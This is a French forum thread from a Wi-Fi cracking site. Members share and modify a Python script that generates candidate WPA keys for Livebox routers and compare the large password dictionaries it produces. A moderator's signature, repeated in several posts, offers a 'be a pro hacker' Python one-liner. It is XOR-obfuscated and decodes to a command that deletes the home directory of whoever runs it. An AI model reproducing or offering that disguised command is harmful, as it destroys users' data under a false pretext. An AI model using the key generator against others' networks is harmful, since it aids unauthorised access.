Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 06-09-2011 10:37:23

vances1
Membre Indispensable
Inscription : 20-03-2011
Messages : 530
Site Web

Modification d'un script Livebox du Sorcier_FXK

Je ne sais pas si c'est le bonne endroit mais en attendant une possible section language de programmation je le post ici.

On bosse pas mal sur un generateur Livebox comme vous avez certainement du le constater et apres une breve discussion avec le Sorcier il nous à partagé ce script:

Sur le forum de Backtrack fr

#!/usr/bin/env python
#-*- coding: utf-8 -*-
#
#Générateur de clés WPA pour Livebox
#By Sorcier_FXK [email protected]
#


import random, hashlib, string
from os import system

def livebox(nbr_line):
    nbr_line = nbr_line / 5
    while nbr_line > 0:

        a = random.randint(1, 9000000)
        b = random.randint(1, 9000000)
        c = random.randint(1, 9000000)
       
        result1 = a + b + c
        result2 = (a + b) * c
        result3 = (b * c) + a
        result4 = (b + c) * a
        result5 = (a * b) + c

        hash1 = hashlib.md5(str(result1)).hexdigest()
        hash2 = hashlib.md5(str(result2)).hexdigest()
        hash3 = hashlib.md5(str(result3)).hexdigest()
        hash4 = hashlib.md5(str(result4)).hexdigest()
        hash5 = hashlib.md5(str(result5)).hexdigest()


        fichier_texte = open('wpa_lb.txt', 'a+')
        fichier_texte.write(hash1[:26].upper() + '\n')
        fichier_texte.write(hash2[:26].upper() + '\n')
        fichier_texte.write(hash3[:26].upper() + '\n')
        fichier_texte.write(hash4[:26].upper() + '\n')
        fichier_texte.write(hash5[:26].upper() + '\n')
        fichier_texte.close()   
        nbr_line = nbr_line - 1


system("clear")
print "##############################################################"
print "#                Keys Generator for Livebox                  #"
print "# by Sorcier FXK for Staff DK & Project Kalkulator's Knights #"
print "#                 project.kalkulators.org                    #"
print "#                [email protected]                  #"
print "##############################################################"
print " "
nbr_line = input("Nombre de clé à générer : ")
livebox(nbr_line)

Qui saurait modifier ce script en python du Sorcier_FXK dans l'optique de virer les clés possedant les caracteres 0;8;B et qu'il n'y est pas plus de 3 caracteres identique à la suite ?

L'operation peux s'averer fastidieuse mais il doit tout à fait etre possible de l'empecher d'ecrire les clés non conforme à nos attentes ...

Merci d'avance  smile

Dernière modification par vances1 (06-09-2011 10:39:37)


Gagner de l'argent en Bourse https://www.youtube.com/watch?v=mq96BGWfE4U
Travailler à domicile Sondage rémunéré http://www.avis-sondages.fr/
Méthode et solution pour gagner de l'argent sur internet http://www.methodeargent.net/

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 13-09-2011 19:19:40

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : Modification d'un script Livebox du Sorcier_FXK

Moi je peux !

Je surkiffe le python.

Je te fais ça dans la semaine, et j'ajoute une barre d'avancement !

(mais la, je bosse, comme je l'ai dit il y a 5 min dans un autre post --')


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#3 14-09-2011 06:13:29

coyotus
Membre Irremplaçable
Lieu : fort fort lointain
Inscription : 05-08-2010
Messages : 884

Re : Modification d'un script Livebox du Sorcier_FXK

Merci pour le partage, moi aussi j'aime le python.


1310812721.gif

Hors Ligne

#4 14-09-2011 15:29:44

vances1
Membre Indispensable
Inscription : 20-03-2011
Messages : 530
Site Web

Re : Modification d'un script Livebox du Sorcier_FXK

Je vous remercie, pour moi c'est du chinois ^^ smile


Gagner de l'argent en Bourse https://www.youtube.com/watch?v=mq96BGWfE4U
Travailler à domicile Sondage rémunéré http://www.avis-sondages.fr/
Méthode et solution pour gagner de l'argent sur internet http://www.methodeargent.net/

Hors Ligne

#5 15-09-2011 15:41:20

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : Modification d'un script Livebox du Sorcier_FXK

C'est fini !

Bon, des clefs sans "0" "8" et "B", y'en a pas des masses. (J'ai la flemme de calculer quel pourcentage)

Donc, j'ai séparé les tests , et on peut modifier la liste des caractères interdits.

[c]#!/usr/bin/env python
#-*- coding: utf-8 -*-
#
#Générateur de clés WPA pour Livebox
#By Sorcier_FXK [email protected]
#


import hashlib, string,sys
from os import system
from random import randrange

def valide(var):
    for interdit in [ "0","8","B" ]:
        if interdit in var:
            return False

    for current_char in ["0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F"]:
        if 3*current_char in var:
            return False
    return True

def livebox(nbr_line):
    nbr_line = nbr_line / 5
    while nbr_line > 0:

        a = randrange(9000000)
        b = randrange(9000000)
        c = randrange(9000000)

        result1 = a + b + c
        result2 = (a + b) * c
        result3 = (b * c) + a
        result4 = (b + c) * a
        result5 = (a * b) + c

        hash1 = hashlib.md5(str(result1)).hexdigest()
        hash2 = hashlib.md5(str(result2)).hexdigest()
        hash3 = hashlib.md5(str(result3)).hexdigest()
        hash4 = hashlib.md5(str(result4)).hexdigest()
        hash5 = hashlib.md5(str(result5)).hexdigest()


        fichier_texte = open('wpa_lb.txt', 'a+')
       
        clef1 = hash1[:26].upper()
        clef2 = hash2[:26].upper()
        clef3 = hash3[:26].upper()
        clef4 = hash4[:26].upper()
        clef5 = hash5[:26].upper()
       
        for curclef in [ clef1 , clef2 , clef3 , clef4 , clef5 ]:
            if valide(curclef):
                fichier_texte.write(curclef + '\n')
        fichier_texte.close()
        nbr_line = nbr_line - 1


system("clear")
print "##############################################################"
print "#                Keys Generator for Livebox                  #"
print "# by Sorcier FXK for Staff DK & Project Kalkulator's Knights #"
print "#                 project.kalkulators.org                    #"
print "#                [email protected]                  #"
print "#                                                            #"
print "#                keys parameters by @punjog                  #"
print "##############################################################"
print
nbr_line = int(sys.argv[1])
livebox(nbr_line)[/c]

EDIT : attention, le copier coller simple ne fonctionne pas. il faut remplacer les 8 espaces par une tabulation à chaque fois.
Et on appelle le script avec en argument le nombre de clefs potentielles à tester. (il y en aura moins) ex :
$ python Script.py 4121992

Dernière modification par spawn (15-09-2011 15:43:34)


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#6 15-09-2011 16:41:53

vances1
Membre Indispensable
Inscription : 20-03-2011
Messages : 530
Site Web

Re : Modification d'un script Livebox du Sorcier_FXK

Merci spawn wink

J'ai voulus le test  après avoir refait tout les espaces à la main mais il me dit ça:

spawnm.png


Gagner de l'argent en Bourse https://www.youtube.com/watch?v=mq96BGWfE4U
Travailler à domicile Sondage rémunéré http://www.avis-sondages.fr/
Méthode et solution pour gagner de l'argent sur internet http://www.methodeargent.net/

Hors Ligne

#7 15-09-2011 20:51:59

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : Modification d'un script Livebox du Sorcier_FXK

C'est vraiment bizarre.

Vire les accents. du script :
$ sed -i -e {s/é/e/g} script.py

C'est super louche, la ligne -*- coding: utf-8 -*- sert a déclarer les caractères utf8.. Sous debian ça marche.


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#8 15-09-2011 21:03:48

vances1
Membre Indispensable
Inscription : 20-03-2011
Messages : 530
Site Web

Re : Modification d'un script Livebox du Sorcier_FXK

Oui et la commande sed ne vire pas non plus les accents ici

#Générateur de clés WPA pour Livebox

J'efface la ligne et ça donne ça :

sansaccent.png

Ps Laisse courir c'est pas important wink


Gagner de l'argent en Bourse https://www.youtube.com/watch?v=mq96BGWfE4U
Travailler à domicile Sondage rémunéré http://www.avis-sondages.fr/
Méthode et solution pour gagner de l'argent sur internet http://www.methodeargent.net/

Hors Ligne

#9 15-09-2011 21:24:01

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : Modification d'un script Livebox du Sorcier_FXK

tu as effacé le ":" en fin de ligne, c'est :

def valide(var):

Voila !

[EDIT] : je te l'ai envoyé en MP via mon mail professionnel, parceque maintenant que j'en ai un, il faut bien que je me la pète ^^

Dernière modification par spawn (15-09-2011 21:28:24)


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#10 16-09-2011 06:31:48

vances1
Membre Indispensable
Inscription : 20-03-2011
Messages : 530
Site Web

Re : Modification d'un script Livebox du Sorcier_FXK

Je m'était endormis complètement HS ^^

Le script tourne très bien, j'ai retiré les 0;8;B et après une grosse génération on vas en profiter pour voir ce que ça donne niveau doublon smile

Ps J'ai enregistré ton mail Pro tongue

EDIT

Je viens de re-linker dans l'autre sens pour que l'on puisse suivre ton boulot.

Ps Apres un petit test à environ 100mo j'ai vérifié le nombre de clé unique et on est repassé environs à 80mo.

J'envois de gros dico histoire de voir si limitation il y aura et a partir de combien smile

Quelqu'un saurais me dire si Hashlib permettra toutes les combinaisons possible ?

EDIT

J'en suis à environs 1 giga de clés unique, le pourcentage de clés unique semble se tenir à hauteur de 80 % ce qui me semble pas mal du tout (sur un cumule des 4scripts/4cores).

Pour info j'ai demandé un dico de 2600 mo environs et le script à trié ~2400 mo de clé obsolète selon mes critères ...  smile imaginé le nombre de clé total "inefficace" que j'aurais eu pour 1 giga !!!

Dernière modification par vances1 (16-09-2011 18:01:33)


Gagner de l'argent en Bourse https://www.youtube.com/watch?v=mq96BGWfE4U
Travailler à domicile Sondage rémunéré http://www.avis-sondages.fr/
Méthode et solution pour gagner de l'argent sur internet http://www.methodeargent.net/

Hors Ligne

#11 18-09-2011 18:37:34

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : Modification d'un script Livebox du Sorcier_FXK

Hashlib est le module de fonctions de hash de python.

Je pense que l'on a beaucoup de clés uniques, mais c'est du statistique :

a = randrange(900000)   > on génère un nombre aléat' entre 1 et 900000
hashlib.md5(str(X)) donne le md5 de X
ici, a+b*c, a*b+c, etc..

Donc c'est de l'aléatoire.
à force, tu auras de plus en plus de clés déja dans ton dico.
Mais je pense que c'est pour dans quelques milliers d'année.


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#12 21-09-2011 15:40:56

vances1
Membre Indispensable
Inscription : 20-03-2011
Messages : 530
Site Web

Re : Modification d'un script Livebox du Sorcier_FXK

Toujours du 80 % de clé unique environs vers 12 giga comme tu le dit faut y aller.

C'est d'ailleurs avec lui que j'ai trouvé la plus longue serie de clé (10 caractères de la clé retrouvé).

Par contre c'est trop long et à mon avis pas assez restrictif


Gagner de l'argent en Bourse https://www.youtube.com/watch?v=mq96BGWfE4U
Travailler à domicile Sondage rémunéré http://www.avis-sondages.fr/
Méthode et solution pour gagner de l'argent sur internet http://www.methodeargent.net/

Hors Ligne

#13 21-09-2011 16:12:41

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : Modification d'un script Livebox du Sorcier_FXK

De toute façon, sans infos sur les clefs, on ne peut pas faire du super restrictif.
Pour le vitesse, on peut le recoder en C, mais ce n'est pas capital.
On en aura toujours pour 50000 ans pour faire toutes les clefs. (aucune envie de faire le calcul ^^)


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#14 21-09-2011 17:02:38

vances1
Membre Indispensable
Inscription : 20-03-2011
Messages : 530
Site Web

Re : Modification d'un script Livebox du Sorcier_FXK

^^

Y en à un autre qui n'est pas mal dans sa derniere mouture, un peu plus restrictif ressemblant un peu à ce que l'on est en train de developper et venant d'ailleurs de chez Lampiweb

Generateur from Lampiweb

Plus de "règles" en incrémentation par contre cette fois-ci mais toujours trop lent.

Tôt ou tard c'est presque certain, le script utilisé devra savoir manier le MD5

Dernière modification par vances1 (21-09-2011 17:04:27)


Gagner de l'argent en Bourse https://www.youtube.com/watch?v=mq96BGWfE4U
Travailler à domicile Sondage rémunéré http://www.avis-sondages.fr/
Méthode et solution pour gagner de l'argent sur internet http://www.methodeargent.net/

Hors Ligne

#15 21-09-2011 20:02:38

koala
Membre d'honneur
Lieu : In the sky
Inscription : 03-09-2010
Messages : 2 316

Re : Modification d'un script Livebox du Sorcier_FXK

Tôt ou tard c'est presque certain, le script utilisé devra savoir manier le MD5

D'accord avec toi concernant les livebox thomson inventel vu le firmware et les paquets md5 crypt chopé sous wireshark wink par contre pour les sagem je doute que le md5 y soit pour quelque chose, on a pas les memes simptomes

Hors Ligne

#16 25-09-2011 22:28:41

Sorcier FXK
Membre Actif
Inscription : 08-08-2008
Messages : 43
Site Web

Re : Modification d'un script Livebox du Sorcier_FXK

Je me suis permis de reprendre vos modif et d'ajouter un mode stdout pour pouvoir pipe le randomizer.

la V0.2 officielle ici.
http://forum.kalkulators.org/viewtopic.php?id=258

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.027 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]